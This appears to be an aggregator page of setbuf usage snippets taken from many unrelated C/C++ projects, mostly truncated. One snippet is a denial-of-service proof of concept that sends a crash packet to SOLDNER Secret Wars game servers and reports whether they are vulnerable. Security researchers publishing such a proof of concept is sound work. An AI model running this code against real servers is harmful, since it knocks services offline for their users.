C++ setbuf函数代码示例

int
main(int argc, char **argv)
{
	char *cp, **ap;
	int ch, disc;
	FILE *wfd = NULL;
	char *dialerstring = 0, buf[BUFSIZ];
	int unitnum, keepal = 0, outfill = 0;
	char unitname[32];
	char *password;
	char *upscript = NULL, *downscript = NULL;
	int first = 1, tries = 0;
	time_t fintimeout;
	long lpid;
	pid_t pid;
	struct termios t;
	int result;

	while ((ch = getopt(argc, argv, "dhlb:s:t:w:A:U:D:W:K:O:S:L")) != -1)
		switch (ch) {
		case 'd':
			debug = 1;
			break;
		case 'b':
			speed = atoi(optarg);
			break;
		case 's':
			if (diali >= MAXDIALS)
				errx(1, "max dial strings number (%d) exceeded", MAXDIALS);
			dials[diali++] = strdup(optarg);
			break;
		case 't':
			script_timeout = atoi(optarg);
			break;
		case 'w':
			wait_time = atoi(optarg);
			break;
		case 'W':
			MAXTRIES = atoi(optarg);
			break;
		case 'A':
			annex = strdup(optarg);
			break;
		case 'U':
			upscript = strdup(optarg);
			break;
		case 'D':
			downscript = strdup(optarg);
			break;
		case 'L':
			uucp_lock = 1;
			break;
		case 'l':
			modem_control = 0;
			break;
		case 'h':
			flowcontrol = FC_HW;
			break;
		case 'K':
			keepal = atoi(optarg);
			break;
		case 'O':
			outfill = atoi(optarg);
			break;
		case 'S':
			sl_unit = atoi(optarg);
			break;
		case '?':
		default:
			usage();
		}
	argc -= optind;
	argv += optind;

	if (argc != 3)
		usage();

	/*
	 * Copy these so they exist after we clobber them.
	 */
	devicename = strdup(argv[0]);
	username = strdup(argv[1]);
	password = strdup(argv[2]);

	/*
	 * Security hack.  Do not want private information such as the
	 * password and possible phone number to be left around.
	 * So we clobber the arguments.
	 */
	for (ap = argv - optind + 1; ap < argv + 3; ap++)
		for (cp = *ap; *cp != 0; cp++)
			*cp = '\0';

	openlog("startslip", LOG_PID|LOG_PERROR, LOG_DAEMON);

	if (debug)
		setbuf(stdout, NULL);

	signal(SIGTERM, sigterm);
	if ((dvname = strrchr(devicename, '/')) == NULL)
//.........这里部分代码省略.........

static error_t
parse_opt (int key, char *arg, struct argp_state *state)
{
  char *endptr;
  static unsigned char pattern[16];

  switch (key)
    {
    case 'c':
      count = ping_cvt_number (arg, 0, 0);
      break;

    case 'd':
      socket_type |= SO_DEBUG;
      break;

    case 'f':
      if (!is_root)
        error (EXIT_FAILURE, 0, "flooding needs root privilege");

      options |= OPT_FLOOD;
      setbuf (stdout, (char *) NULL);
      break;

    case 'i':
      options |= OPT_INTERVAL;
      interval = ping_cvt_number (arg, 0, 0);
      break;

    case 'l':
      if (!is_root)
        error (EXIT_FAILURE, 0, "preloading needs root privilege");

      preload = strtoul (arg, &endptr, 0);
      if (*endptr || preload > INT_MAX)
        error (EXIT_FAILURE, 0, "preload size too large");

      break;

    case 'n':
      options |= OPT_NUMERIC;
      break;

    case 'p':
      decode_pattern (arg, &pattern_len, pattern);
      patptr = pattern;
      break;

    case 'q':
      options |= OPT_QUIET;
      break;

    case 'r':
      socket_type |= SO_DONTROUTE;
      break;

    case 'w':
      timeout = ping_cvt_number (arg, INT_MAX, 0);
      break;

    case 's':
      data_length = ping_cvt_number (arg, PING_MAX_DATALEN, 1);
      break;

    case ARGP_KEY_NO_ARGS:
      argp_error (state, "missing host operand");

    default:
      return ARGP_ERR_UNKNOWN;
    }

  return 0;
}

int main(int argc, char *argv[]) {
    struct  sockaddr_in peer;
    int     sd,
            len;
    u_short port = PORT;
    u_char  buff[BUFFSZ],
            info[] =
                "\x00\x00"
                "\x02\x00\x00\x00\x00"
                "\x0A"      // size
                "\x05\x00"
                "\x0A"      // size, same of before
                "WING"
                "\x00\x00"  // build version (leave it empty)
                "\x00";


    setbuf(stdout, NULL);

    fputs("\n"
        "SOLDNER Secret Wars <= 30830 socket termination "VER"\n"
        "by Luigi Auriemma\n"
        "e-mail: [email protected]\n"
        "web:    http://aluigi.altervista.org\n"
        "\n", stdout);

    if(argc < 2) {
        printf("\n"
            "Usage: %s <host> [port(%d)]\n"
            "\n", argv[0], port);
        exit(1);
    }

#ifdef WIN32
    WSADATA    wsadata;
    WSAStartup(MAKEWORD(1,0), &wsadata);
#endif

    if(argc > 2) port = atoi(argv[2]);

    peer.sin_addr.s_addr = resolv(argv[1]);
    peer.sin_port        = htons(port);
    peer.sin_family      = AF_INET;

    printf("- target   %s : %hu\n",
        inet_ntoa(peer.sin_addr), port);

    fputs("- check server:\n", stdout);
    sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
    if(sd < 0) std_err();

    *(u_short *)info = crc16(info + 2, sizeof(info) - 3);
    SEND(info, sizeof(info) - 1);
    RECV;

    if(memcmp(buff + 11, "WING", 4)) {
        fputs("\nAlert: the server doesn't seem a valid Soldner server\n", stdout);
    }
    printf("  Build version   %d\n", ntohs(*(u_short *)(buff + 18)));

    printf("\n- send BOOM packet (%d bytes)\n", BOOMSZ);
    memset(buff, 0x00, BOOMSZ);
    SEND(buff, BOOMSZ);

    fputs("- check server again:\n", stdout);
    SEND(info, sizeof(info) - 1);
    if(timeout(sd) < 0) {
        fputs("\nServer IS vulnerable!!!\n\n", stdout);
    } else {
        fputs("\nServer doesn't seem vulnerable\n\n", stdout);
    }

    close(sd);

    return(0);
}

int main(int argc, char **argv) {
	// Recovery needs to install world-readable files, so clear umask
	// set by init
	umask(0);

	Log_Offset = 0;

	// Set up temporary log file (/tmp/recovery.log)
	freopen(TMP_LOG_FILE, "a", stdout);
	setbuf(stdout, NULL);
	freopen(TMP_LOG_FILE, "a", stderr);
	setbuf(stderr, NULL);

	// Handle ADB sideload
	if (argc == 3 && strcmp(argv[1], "--adbd") == 0) {
		adb_main(argv[2]);
		return 0;
	}

	char crash_prop_val[PROPERTY_VALUE_MAX];
	int crash_counter;
	property_get("twrp.crash_counter", crash_prop_val, "-1");
	crash_counter = atoi(crash_prop_val) + 1;
	snprintf(crash_prop_val, sizeof(crash_prop_val), "%d", crash_counter);
	property_set("twrp.crash_counter", crash_prop_val);

	time_t StartupTime = time(NULL);
	printf("Starting TWRP %s on %s", TW_VERSION_STR, ctime(&StartupTime));

	// Load default values to set DataManager constants and handle ifdefs
	DataManager::SetDefaultValues();
	printf("Starting the UI...");
	gui_init();
	printf("=> Linking mtab\n");
	symlink("/proc/mounts", "/etc/mtab");
	if (TWFunc::Path_Exists("/etc/twrp.fstab")) {
		if (TWFunc::Path_Exists("/etc/recovery.fstab")) {
			printf("Renaming regular /etc/recovery.fstab -> /etc/recovery.fstab.bak\n");
			rename("/etc/recovery.fstab", "/etc/recovery.fstab.bak");
		}
		printf("Moving /etc/twrp.fstab -> /etc/recovery.fstab\n");
		rename("/etc/twrp.fstab", "/etc/recovery.fstab");
	}
	printf("=> Processing recovery.fstab\n");
	if (!PartitionManager.Process_Fstab("/etc/recovery.fstab", 1)) {
		LOGERR("Failing out of recovery due to problem with recovery.fstab.\n");
		return -1;
	}
	PartitionManager.Output_Partition_Logging();
	// Load up all the resources
	gui_loadResources();

#ifdef HAVE_SELINUX
	if (TWFunc::Path_Exists("/prebuilt_file_contexts")) {
		if (TWFunc::Path_Exists("/file_contexts")) {
			printf("Renaming regular /file_contexts -> /file_contexts.bak\n");
			rename("/file_contexts", "/file_contexts.bak");
		}
		printf("Moving /prebuilt_file_contexts -> /file_contexts\n");
		rename("/prebuilt_file_contexts", "/file_contexts");
	}
	struct selinux_opt selinux_options[] = {
		{ SELABEL_OPT_PATH, "/file_contexts" }
	};
	selinux_handle = selabel_open(SELABEL_CTX_FILE, selinux_options, 1);
	if (!selinux_handle)
		printf("No file contexts for SELinux\n");
	else
		printf("SELinux contexts loaded from /file_contexts\n");
	{ // Check to ensure SELinux can be supported by the kernel
		char *contexts = NULL;

		if (PartitionManager.Mount_By_Path("/cache", true) && TWFunc::Path_Exists("/cache/recovery")) {
			lgetfilecon("/cache/recovery", &contexts);
			if (!contexts) {
				lsetfilecon("/cache/recovery", "test");
				lgetfilecon("/cache/recovery", &contexts);
			}
		} else {
			LOGINFO("Could not check /cache/recovery SELinux contexts, using /sbin/teamwin instead which may be inaccurate.\n");
			lgetfilecon("/sbin/teamwin", &contexts);
		}
		if (!contexts) {
			gui_print_color("warning", "Kernel does not have support for reading SELinux contexts.\n");
		} else {
			free(contexts);
			gui_print("Full SELinux support is present.\n");
		}
	}
#else
	gui_print_color("warning", "No SELinux support (no libselinux).\n");
#endif

	PartitionManager.Mount_By_Path("/cache", true);

	string Zip_File, Reboot_Value;
	bool Cache_Wipe = false, Factory_Reset = false, Perform_Backup = false;

	{
		TWPartition* misc = PartitionManager.Find_Partition_By_Path("/misc");
//.........这里部分代码省略.........

int main( int argc, char *argv[] )
{
    char *fout;
    int   i, j,k,iethpo, pothie;
    FILE *outfp = 0;



    printf("\nPORTA - a POlyhedron Representation Transformation Algorithm\n");
    printf(  "Version %s\n\n", VERSION );

    printf( "Written by Thomas Christof (Uni Heidelberg)\n" );
    printf( "Revised by Andreas Loebel (ZIB Berlin)\n\n" );

    printf( "PORTA is free software and comes with ABSOLUTELY NO WARRENTY! You are welcome\n" );
    printf( "to use, modify, and redistribute it under the GNU General Public Lincese.\n\n" ); 
    
    printf( "This is the program VALID from the PORTA package.\n\n" );

    if( argc <= 2 )
    {
        fprintf( stderr,
                "For more information read the manpages about porta.\n\n");
        exit(-1);
    }
            
    /* 17.01.1994: include logging on file porta.log */
    if( !(logfile = fopen( "porta.log", "a" )) )
        fprintf( stderr, "can't open logfile porta.log\n" );
    else
    {
        porta_log( "\n\n\nlog for " );
        for( i = 0; i < argc; i++ )
            porta_log( "%s ", argv[i] );
        porta_log( "\n\n" );
    }
            

    initialize();
    set_I_functions();
    SET_MP_not_ready;
    
    prt = stdout;
    get_options(&argc,&argv);
    
    if (option & Protocol_to_file) 
    {
        strcat(*argv,".prt");
        prt = fopen(*argv,"w");
        (*argv)[strlen(*argv)-4] = '\0';
    }
    setbuf(prt,CP 0);
    
    if (is_set(Vint) && !strcmp(*argv+strlen(*argv)-4,".ieq")) 
    {  
            char *cp1,*cp2;
        cp1=strdup("LOWER_BOUNDS");
        cp2=strdup("UPPER_BOUNDS");
        if(!cp1||!cp2)
            msg("allocation of new space failed", "", 0 );   
        points = read_input_file(*argv,outfp,&dim,&ar1,(int *)&nel_ar1,
            cp1,&lowbds,cp2,&upbds,"\0",(RAT **)&i);
        free(cp1);free(cp2);
        sort_eqie_cvce(ar1,points,dim+2,&equa,&ineq);
        valid_ints( dim, ar1, equa, dim+2, dim,
                    ar1+(dim+2)*equa, ineq, dim+2, *argv );
    }
    else 
    {
        pothie = !strcmp(*argv+strlen(*argv)-4,".poi") 
            && !strcmp(*(argv+1)+strlen(*(argv+1))-4,".ieq");
        iethpo = !strcmp(*argv+strlen(*argv)-4,".ieq") 
            && !strcmp(*(argv+1)+strlen(*(argv+1))-4,".poi");
        if (!iethpo && !pothie)
            msg("invalid format of command line", "", 0 );
        
        if (iethpo) 
        {
            ineq = read_input_file(*argv,outfp,&dim,&ar1,(int *)&nel_ar1,
                                   "\0",(int **)&i,"\0",(int **)&i,"\0",(RAT **)&i );
            points = read_input_file(*(argv+1),outfp,&j,&ar2,(int *)&nel_ar2,
                                     "\0",(int **)&i,"\0",(int **)&i,"\0",(RAT **)&i );
        }
        else 
        {
            ineq = read_input_file(*(argv+1),outfp,&dim,&ar1, (int *)&nel_ar1,
                                   "\0", (int **)&i,"\0", (int **)&i,"\0", (RAT **)&i );
            points = read_input_file(*argv,outfp,&j,&ar2, (int *)&nel_ar2,
                                     "\0", (int **)&i,"\0", (int **)&i,"\0", (RAT **)&i );
        }
        if (j != dim) 
            msg("dimensions in input files are different", "", 0 ); 
        
        if (is_set(Iespo)) 
        {
            sort_eqie_cvce(ar1,ineq,dim+2,&equa,&ineq);
            valid_ieqs(dim,ar1,ineq+equa,&equa,&ineq,dim+2,
                       ar2,points,dim+1,(char **)(pothie?*argv:*(argv+1)));
        }
        else if (is_set(Posie) || is_set(Cfctp)) 
//.........这里部分代码省略.........

double R_rlm_rand(double *X, double *y, int *N, int *P,
		int *Boot_Samp, int *Nres,
		int *M, int *size_boot, double *ours, double *full,
		double *Beta_m, double *Beta_s, double *Scale,
		int *Seed, int *calc_full,
		double *C, double *Psi_c, int *max_it,
		int *converged_mm,
		int *groups, int *n_group, int *k_fast_s)
{
void initialize_mat(double **a, int n, int m);
void initialize_vec(double *a, int n);
void R_S_rlm(double *X, double *y, int *n, int *P,
		int *nres, int *max_it,
		double *SCale, double *beta_s, double *beta_m,
		int *converged_mm,
		int *seed_rand, double *C, double *Psi_c,
		int *Groups, int *N_group, int *K_fast_s);
double Psi_reg(double,double);
double Psi_reg_prime(double,double);
double Chi_prime(double,double);
double Chi(double,double);
void sampler_i(int, int, int *);
int inverse(double **,double **, int);
void matias_vec_vec(double **, double *, double *, int);
void scalar_mat(double **, double, double **, int, int);
void scalar_vec(double *, double, double *, int);
void sum_mat(double **,double **, double **, int, int);
void sum_vec(double *, double *, double *, int);
void dif_mat(double **, double **, double **, int , int );
void dif_vec(double *, double *, double *, int);
void mat_vec(double **, double *, double *, int, int);
void mat_mat(double **, double **, double **, int, int, int);
// void disp_vec(double *, int);
// void disp_mat(double **, int, int);
// void disp_mat_i(int **, int, int);
// void disp_vec(double *, int);
/* double **xb; */
double *Xb, **xb;
int **boot_samp;
double **x, **x2, **x3, **x4, *beta_m, *beta_s,*beta_aux;
double *Fi, *res, *res_s, *w, *ww, dummyscale, scale;
double *v, *v2, *v_aux, *yb; // , timefinish, timestart;
double u,u2,s,c,Psi_constant;
// double test_chi=0, test_psi=0;
int n,p,m,seed; // ,*indices;
int nboot=*size_boot;
// int fake_p = 0;
register int i,j,k;
setbuf(stdout,NULL);
c = *C; Psi_constant = *Psi_c;
n = *N; p = *P; m = *M; seed = *Seed;
boot_samp = (int **) malloc(m * sizeof(int*) );
for(i=0;i<m;i++)
	boot_samp[i] = (int*) malloc(nboot *sizeof(int));
// indices = (int *) malloc( n * sizeof(int) );
v = (double *) malloc( p * sizeof(double) );
v2 = (double *) malloc( p * sizeof(double) );
v_aux = (double *) malloc( p * sizeof(double) );
yb = (double *) malloc( n * sizeof(double) );
Xb = (double*) malloc( n * p * sizeof(double) );
x =  (double **) malloc ( n * sizeof(double *) );
xb =  (double **) malloc ( n * sizeof(double *) );
Fi  = (double *) malloc ( n * sizeof(double) );
res = (double *) malloc ( n * sizeof(double) );
res_s = (double *) malloc ( n * sizeof(double) );
ww  = (double *) malloc ( n * sizeof(double) );
w   = (double *) malloc ( n * sizeof(double) );
x2 = (double **) malloc ( p * sizeof(double *) );
x3 = (double **) malloc ( p * sizeof(double *) );
x4 = (double **) malloc ( p * sizeof(double *) );
beta_aux = (double *) malloc( p * sizeof(double) );
beta_m = (double *) malloc( p * sizeof(double) );
beta_s = (double *) malloc( p * sizeof(double) );
for(i=0;i<n;i++) {
	x[i] =  (double*) malloc (p * sizeof(double) );
	xb[i] =  (double*) malloc ((p+1) * sizeof(double) );
	};
for(i=0;i<p;i++) {
	x2[i] = (double*) malloc (p * sizeof(double) );
	x3[i] = (double*) malloc (p * sizeof(double) );
	x4[i] = (double*) malloc (p * sizeof(double) );
};
/* copy X into x for easier handling */
for(i=0;i<n;i++)
        for(j=0;j<p;j++)
                x[i][j]=X[j*n+i];
/* calculate robust regression estimates */

for(i=0;i<m;i++)
	for(j=0;j<nboot;j++)
		boot_samp[i][j]=Boot_Samp[j*m+i]-1;

R_S_rlm(X, y, N, P, Nres, max_it, &scale, Beta_s, Beta_m,
		converged_mm, &seed, &c,
		Psi_c, groups, n_group, k_fast_s);

*Scale = scale;
/* get M-fitted values in Fi */
mat_vec(x,Beta_m,Fi,n,p);
/* get residuals of M-est in res */
//.........这里部分代码省略.........

int main()
{
   setbuf(stdout, NULL);

   for (long l = 5; l <= 60; l += 5) {
      // for (long n = 1024; n <= 65536; n *= 2) {
      for (long idx = 0; idx < 13; idx ++) {
         long n  = 1024*(1L << idx/2);
         if (idx & 1) n += n/2;
           SetSeed((ZZ(l) << 64) + ZZ(n));

	   long p;

	   RandomLen(p, l);
           if (p % 2 == 0) p++;
	   zz_p::init(p);


	   zz_pX a, b, c, f;

	   random(a, n);
	   random(b, n);
           random(f, n);
           SetCoeff(f, n);

           zz_pXModulus F(f);
           zz_pXMultiplier B(b, F);

	   double t;

	   MulMod(c, a, B, F);

	   long iter = 1;
	   do {
	      t = GetTime();
	      for (long i = 0; i < iter; i++) MulMod(c, a, B, F);
	      t = GetTime() - t;
	      iter *= 2;
	   } while (t < 3);
	   iter /= 2;

	   t = GetTime();
	   for (long i = 0; i < iter; i++) MulMod(c, a, B, F);
	   t = GetTime()-t;
	   double NTLTime = t;



         Flintzz_pX f_a(a), f_b(b), f_c, f_f(f), f_finv;
         nmod_poly_reverse(f_finv.value, f_f.value, f_f.value->length);
         nmod_poly_inv_series_newton(f_finv.value, f_finv.value, f_f.value->length);

         nmod_poly_mulmod_preinv(f_c.value, f_a.value, f_b.value, f_f.value, f_finv.value);


         t = GetTime();
         for (long i = 0; i < iter; i++)
            nmod_poly_mulmod_preinv(f_c.value, f_a.value, f_b.value, f_f.value, f_finv.value);
         t = GetTime()-t;
         double FlintTime = t;


         printf("%8.2f", FlintTime/NTLTime);
      }

      printf("\n");
   }
}

int main(int argc, char **argv)
{
	setbuf(stdout, NULL);
	setbuf(stderr, NULL);
	
	{
		WSADATA wsaData;
		assert(WSAStartup(MAKEWORD(1,1), &wsaData) == 0);
	}
	
	int sockets[MAX_SOCKETS];
	int n_sockets = 0;
	
	for(int i = 1; i < argc; i += 3)
	{
		BOOL bcast       = FALSE;
		BOOL recv_bcast  = TRUE;
		BOOL reuse       = FALSE;
		int filter_ptype = -1;
		
		while(argv[i][0] == '-')
		{
			if(strcmp(argv[i], "-b") == 0)
			{
				bcast = TRUE;
			}
			else if(strcmp(argv[i], "-B") == 0)
			{
				recv_bcast = FALSE;
			}
			else if(strcmp(argv[i], "-r") == 0)
			{
				reuse = TRUE;
			}
			else if(strcmp(argv[i], "-f") == 0)
			{
				filter_ptype = atoi(argv[++i]);
			}
			else{
				usage(argv[0]);
			}
			
			++i;
		}
		
		if((argc - i) < 3)
		{
			usage(argv[0]);
		}
		
		int sock = socket(AF_IPX, SOCK_DGRAM, NSPROTO_IPX);
		assert(sock != -1);
		
		assert(setsockopt(sock, SOL_SOCKET,  SO_BROADCAST,          (void*)(&bcast),      sizeof(bcast)) == 0);
		assert(setsockopt(sock, NSPROTO_IPX, IPX_RECEIVE_BROADCAST, (void*)(&recv_bcast), sizeof(recv_bcast)) == 0);
		assert(setsockopt(sock, SOL_SOCKET,  SO_REUSEADDR,          (void*)(&reuse),      sizeof(reuse)) == 0);
		
		if(filter_ptype >= 0)
		{
			assert(setsockopt(sock, NSPROTO_IPX, IPX_FILTERPTYPE, (void*)(&filter_ptype), sizeof(filter_ptype)) == 0);
		}
		
		struct sockaddr_ipx bind_addr = read_sockaddr(argv[i], argv[i + 1], argv[i + 2]);
		assert(bind(sock, (struct sockaddr*)(&bind_addr), sizeof(bind_addr)) == 0);
		
		int addrlen = sizeof(bind_addr);
		assert(getsockname(sock, (struct sockaddr*)(&bind_addr), &addrlen) == 0);
		
		char formatted_addr[IPX_SADDR_SIZE];
		ipx_to_string(formatted_addr,
			addr32_in(bind_addr.sa_netnum), addr48_in(bind_addr.sa_nodenum), bind_addr.sa_socket);
		
		printf("Bound socket %d to local address: %s\n", sock, formatted_addr);
		
		if(n_sockets == MAX_SOCKETS)
		{
			fprintf(stderr, "Too many bind addresses given\n");
			fprintf(stderr, "Compile with a bigger MAX_SOCKETS\n");
			
			return 1;
		}
		
		sockets[n_sockets++] = sock;
	}
	
	if(n_sockets == 0)
	{
		usage(argv[0]);
	}
	
	printf("Ready\n");
	
	while(1)
	{
		fd_set read_fds;
		FD_ZERO(&read_fds);
		
		for(int i = 0; i < n_sockets; ++i)
		{
			FD_SET(sockets[i], &read_fds);
//.........这里部分代码省略.........

int main(int argc, char **argv)
{
    setbuf(stdout, NULL);
    signal(SIGINT, INThandler);

    unsigned char ply = 6;

    int opt;
    while ((opt = getopt(argc, argv, "p:")) != -1) {
        switch (opt) {
        case 'p':
            ply = atoi(optarg);
            break;
        default:
            fprintf(stderr, "Usage: %s [-p ply]\n", argv[0]);
            exit(EXIT_FAILURE);
        }
    }

    struct position pos;
    init_position(&pos);
    assert(consistency(&pos));

    struct timespec realt_old, realt_new;

    tt = new_trans_tables();

#ifdef _USE_HISTORY
    hist = init_history();
#endif

#ifdef _DEBUG
    testing();
#endif

#ifndef _XBOARD
    print_position(&pos);
#endif

    while (1) {
        if (is_check(&pos)) {
            fprintf(stderr, "check.\n");
        }

        user_input(&pos);
#ifndef _XBOARD
        print_position(&pos);
#endif
        assert(consistency(&pos));

        if (is_check(&pos)) {
            fprintf(stderr, "check.\n");
        }

        current_utc_time(&realt_old);
        computer_move(&pos, ply);
        assert(consistency(&pos));
        current_utc_time(&realt_new);

#ifndef _XBOARD
        fprintf(stderr, "One second: %12llu ns\n",
            (long long unsigned)BILLION);
        fprintf(stderr, "Real  time: %12llu ns\n",
            (long long unsigned)minus_time(&realt_new, &realt_old));

        print_position(&pos);
#endif
    }

    return (0);
}

int
ttyrec_main (int game, char *username, char *ttyrec_path, char* ttyrec_filename)
{
  char dirname[100];

  /* Note our PID to let children kill the main dgl process for idling */
  dgl_parent = getpid();
  child = subchild = input_child = 0;

  if (!ttyrec_path) {
      child = fork();
      if (child < 0) {
	  perror ("fork");
	  fail ();
      }
      if (child == 0) {
	  execvp (myconfig[game]->game_path, myconfig[game]->bin_args);
      } else {
	  int status;
	  (void) wait(&status);
      }
      return 0;
  }

  if (ttyrec_path[strlen(ttyrec_path)-1] == '/')
      snprintf (dirname, 100, "%s%s", ttyrec_path, ttyrec_filename);
  else
      snprintf (dirname, 100, "%s/%s", ttyrec_path, ttyrec_filename);

  atexit(&remove_ipfile);
  if ((fscript = fopen (dirname, "w")) == NULL)
    {
      perror (dirname);
      fail ();
    }
  setbuf (fscript, NULL);

  fixtty ();

  (void) signal (SIGCHLD, finish);
  child = fork ();
  if (child < 0)
    {
      perror ("fork");
      fail ();
    }
  if (child == 0)
    {
      subchild = child = fork ();
      if (child < 0)
        {
          perror ("fork");
          fail ();
        }
      if (child)
        {
          close (slave);
          ipfile = gen_inprogress_lock (game, child, ttyrec_filename);
	  ttyrec_id(game, username, ttyrec_filename);
          dooutput (myconfig[game]->max_idle_time);
        }
      else
	  doshell (game, username);
    }

  (void) fclose (fscript);

  wait_for_menu = 1;
  input_child = fork();
  if (input_child < 0)
  {
      perror ("fork2");
      fail ();
  }
  if (!input_child)
      doinput ();
  else
  {
      while (wait_for_menu)
	  sleep(1);
  }

  remove_ipfile();
  child = 0;

  return 0;
}

int main(int argc, char *argv[])
{
    if ( argc != 3 )
    {
        return 1; //not enough arguments
    }

    const char ltr = argv[2][0];
    const char *imagefile = argv[1];

    status = STATUS_IDLE;
    hVolume = INVALID_HANDLE_VALUE;
    hFile = INVALID_HANDLE_VALUE;
    hRawDisk = INVALID_HANDLE_VALUE;
    sectorData = NULL;
    sectorsize = 0ul;

    if (strcmp( imagefile, "") != 0)
    {
        if(INVALID_FILE_ATTRIBUTES == GetFileAttributes(imagefile) && GetLastError()==ERROR_FILE_NOT_FOUND)
        {
            return 2; // .img not found
        }
        else
        {
            status = STATUS_WRITING;

            unsigned long long i, availablesectors, numsectors;
            int volumeID = ltr - 'A';
            int deviceID = getDriveNumberFromLetter(ltr);
            if( deviceID == -1 )
            {
                return 3; // device not found
            }

            hVolume = getHandleOnVolume(volumeID, GENERIC_WRITE);
            if (hVolume == INVALID_HANDLE_VALUE)
            {
                status = STATUS_IDLE;
                return 4; // invalid handle value for volume
            }
            if (!getLockOnVolume(hVolume))
            {
                CloseHandle(hVolume);
                status = STATUS_IDLE;
                hVolume = INVALID_HANDLE_VALUE;
                return 5; // can't get lock on volume
            }
            if (!unmountVolume(hVolume))
            {
                removeLockOnVolume(hVolume);
                CloseHandle(hVolume);
                status = STATUS_IDLE;
                hVolume = INVALID_HANDLE_VALUE;
                return 6; // can't unmount volume
            }
            hFile = getHandleOnFile(imagefile, GENERIC_READ);
            if (hFile == INVALID_HANDLE_VALUE)
            {
                removeLockOnVolume(hVolume);
                CloseHandle(hVolume);
                status = STATUS_IDLE;
                hVolume = INVALID_HANDLE_VALUE;
                return 7; // invalid handle value for file
            }
            hRawDisk = getHandleOnDevice(deviceID, GENERIC_WRITE);
            if (hRawDisk == INVALID_HANDLE_VALUE)
            {
                removeLockOnVolume(hVolume);
                CloseHandle(hFile);
                CloseHandle(hVolume);
                status = STATUS_IDLE;
                hVolume = INVALID_HANDLE_VALUE;
                hFile = INVALID_HANDLE_VALUE;
                return 8; // invalid handle value for disk
            }
            availablesectors = getNumberOfSectors(hRawDisk, &sectorsize);
            numsectors = getFileSizeInSectors(hFile, sectorsize);
            if (numsectors > availablesectors)
            {
                return 9; // not enough space on volume
            }

            char total_string[32];
            sprintf(total_string, "%d", numsectors);

            for (i = 0ul; i < numsectors && status == STATUS_WRITING; i += 1024ul)
            {
                if( i % 100 == 0 )
                {
                    char i_string[32];
                    sprintf(i_string, "%d", i);
                    printf(i_string);
                    printf("/");
                    printf(total_string);
                    setbuf(stdout, NULL);
                }

                sectorData = readSectorDataFromHandle(hFile, i, (numsectors - i >= 1024ul) ? 1024ul:(numsectors - i), sectorsize);
                if (sectorData == NULL)
//.........这里部分代码省略.........

int main(int argc,char *argv[])
{
  char euclid_output[100],target_output[100];
  Real sse;
  FILE *f;
  Real clampNoise=0.1;
  char feature[1000][30];
  char name[255];
  int time=4;
  int wrongs=0,wrong=0,wrongtot;
  char weightFile[4000];
  int reset=1;
  ExampleSet *examples;
  Example *ex;
  int i,count;
  Real error;
  Real epsilon,range;
  int runfor=TICKS;


  f=fopen("key","r");
  if (f==NULL)
    {
      fprintf(stderr,"can't open key file\n");
      exit(-1);
    }

  i=0;
  fscanf(f,"%s",feature[i++]);
  while(!feof(f))
    fscanf(f,"%s",feature[i++]);
  fclose(f);

  /* don't buffer output */
  setbuf(stdout,NULL);

  /* set random number seed to process id
     (only unix machines have getpid call) */
#ifdef unix
  mikenet_set_seed(getpid()); 
#endif

  /* a default learning rate */
  epsilon=0.01;
  
  /* default weight range */
  range=0.01;

  /* what are the command line arguments? */
  for(i=1;i<argc;i++)
    {
      if (strcmp(argv[i],"-seed")==0)
	{
	  mikenet_set_seed(atol(argv[i+1]));
	  i++;
	}
      else if (strncmp(argv[i],"-epsilon",5)==0)
	{
	  epsilon=atof(argv[i+1]);
	  i++;
	}
      else if (strcmp(argv[i],"-clampNoise")==0)
	{
	  clampNoise=atof(argv[i+1]);
	  i++;
	}
      else if (strncmp(argv[i],"-noreset",5)==0)
	{
	  reset=0;
	}
      else if (strncmp(argv[i],"-runfor",5)==0)
	{
	  runfor=atoi(argv[i+1]);
	  i++;
	}
      else if (strncmp(argv[i],"-time",5)==0)
	{
	  time=atoi(argv[i+1]);
	  i++;
	}
      else if (strcmp(argv[i],"-range")==0)
	{
	  range=atof(argv[i+1]);
	  i++;
	}
      else if ((strncmp(argv[i],"-weight",5)==0) ||
	       (strncmp(argv[i],"-load",5)==0))
	{
	  strcpy(weightFile,argv[i+1]);
	  i++;
	}
      else if (strcmp(argv[i],"-errorRadius")==0)
	{
	  default_errorRadius=atof(argv[i+1]);
	  i++;
	}
      else
	{
	  fprintf(stderr,"unknown argument: %s\n",argv[i]);
	  exit(-1);
//.........这里部分代码省略.........

int main(int argc, char* argv[])
{
    char hostName[200] = DEFAULT_HOSTNAME;
    int port = DEFAULT_RESMGR_TPM_PORT; //DEFAULT_TPM_PORT;
    char *contextFilePath = NULL;
    char *keyContextFilePath = NULL;

    setbuf(stdout, NULL);
    setvbuf (stdout, NULL, _IONBF, BUFSIZ);

    int opt = -1;
    const char *optstring = "hvH:c:k:C:P:K:f:o:p:d:";
    struct option long_options[] = {
      {"help",0,NULL,'h'},
      {"version",0,NULL,'v'},
      {"handle",1,NULL,'H'},
      {"context",1,NULL,'c'},
      {"keyHandle",1,NULL,'k'},
      {"keyContext",1,NULL,'C'},
      {"Password",1,NULL,'P'},
      {"keyPassword",1,NULL,'K'},
      {"inFile",1,NULL,'f'},
      {"outFile",1,NULL,'o'},
      {"port",1,NULL,'p'},
      {"debugLevel",1,NULL,'d'},
      {0,0,0,0},
    };

    int returnVal = 0;
    int flagCnt = 0;
    int h_flag = 0,
        v_flag = 0,
        H_flag = 0,
        c_flag = 0,
        k_flag = 0,
        C_flag = 0,
        K_flag = 0,
        P_flag = 0,
        f_flag = 0,
        o_flag = 0;

    if(argc == 1)
    {
        showHelp(argv[0]);
        return 0;
    }

    cmdAuth.hmac.t.size = 0;
    cmdAuth2.hmac.t.size = 0;

    while((opt = getopt_long(argc,argv,optstring,long_options,NULL)) != -1)
    {
        switch(opt)
        {
        case 'h':
            h_flag = 1;
            break;
        case 'v':
            v_flag = 1;
            break;
        case 'H':
            if(getSizeUint32Hex(optarg,&activateHandle) != 0)
            {
                returnVal = -1;
                break;
            }
            H_flag = 1;
            break;
        case 'c':
            contextFilePath = optarg;
            if(contextFilePath == NULL || contextFilePath[0] == '\0')
            {
                returnVal = -2;
                break;
            }
            printf("contextFile = %s\n", contextFilePath);
            c_flag = 1;
            break;
        case 'k':
            if(getSizeUint32Hex(optarg,&keyHandle) != 0)
            {
                returnVal = -3;
                break;
            }
            k_flag = 1;
            break;
        case 'C':
            keyContextFilePath = optarg;
            if(keyContextFilePath == NULL || keyContextFilePath[0] == '\0')
            {
                returnVal = -4;
                break;
            }
            printf("keyContextFile = %s\n", keyContextFilePath);
            C_flag = 1;
            break;
        case 'P':
